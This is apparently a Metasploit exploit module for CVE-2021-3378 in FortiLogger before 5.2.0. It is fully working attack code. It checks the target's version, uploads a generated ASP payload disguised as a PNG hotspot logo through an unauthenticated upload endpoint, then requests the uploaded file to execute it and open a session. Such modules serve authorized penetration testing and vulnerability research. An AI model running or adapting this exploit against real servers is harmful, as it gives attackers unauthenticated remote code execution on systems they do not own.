FortiLogger Arbitrary File Upload Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FortiLogger Arbitrary File Upload Exploit',
        'Description' => %q{
          This module exploits an unauthenticated arbitrary file upload
          via insecure POST request. It has been tested on versions < 5.2.0 in
          Windows 10 Enterprise.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Berkan Er <[email protected]>' # Vulnerability discovery, PoC and Metasploit module
        ],
        'References' => [
          ['CVE', '2021-3378'],
          ['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
        ],

        'Platform' => ['win'],
        'Privileged' => false,
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'FortiLogger < 5.2.0',
            {
              'Platform' => 'win'
            }
          ],
        ],
        'DisclosureDate' => '2021-02-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ UNRELIABLE_SESSION ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5000),
        OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
      ]
    )
  end

  def check_product_info
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
      'method' => 'POST',
      'data' => '',
      'headers' => {
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language' => 'en-US,en;q=0.5',
        'Accept-Encoding' => 'gzip, deflate',
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )
  end

  def check
    res = check_product_info

    unless res
      return CheckCode::Unknown('Target is unreachable.')
    end

    unless res.code == 200
      return CheckCode::Unknown("Unexpected server response: #{res.code}")
    end

    version = Rex::Version.new(JSON.parse(res.body)['Version'])

    if version <= Rex::Version.new('4.4.2.2')
      CheckCode::Vulnerable("FortiLogger version #{version}")
    else
      CheckCode::Safe("FortiLogger version #{version}")
    end
  rescue JSON::ParserError
    fail_with(Failure::UnexpectedReply, 'The target may have been updated')
  end

  def create_payload
    Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
  end

  def exploit
    print_good('Generate Payload')
    data = create_payload

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(5..14))}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(rand(5..11))}.asp\"\r\n"
    post_data << "Content-Type: image/png\r\n"
    post_data << "\r\n#{data}\r\n"
    post_data << "--#{boundary}\r\n"

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => post_data,
      'headers' => {
        'Accept' => 'application/json',
        'Accept-Language' => 'en-US,en;q=0.5',
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )

    unless res
      fail_with(Failure::Unknown, 'No response from server')
    end

    unless res.code == 200
      fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
    end

    json_res = begin
      JSON.parse(res.body)
    rescue JSON::ParserError
      nil
    end

    if json_res.nil? || json_res['Message'] == 'Error in saving file'
      fail_with(Failure::UnexpectedReply, 'Error uploading payload')
    end

    print_good('Payload has been uploaded')

    handler

    print_status('Executing payload...')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
      'method' => 'GET'
    }, 5)
  rescue StandardError => e
    fail_with(Failure::UnexpectedReply, "Failed to execute the payload: #{e}")
  end
end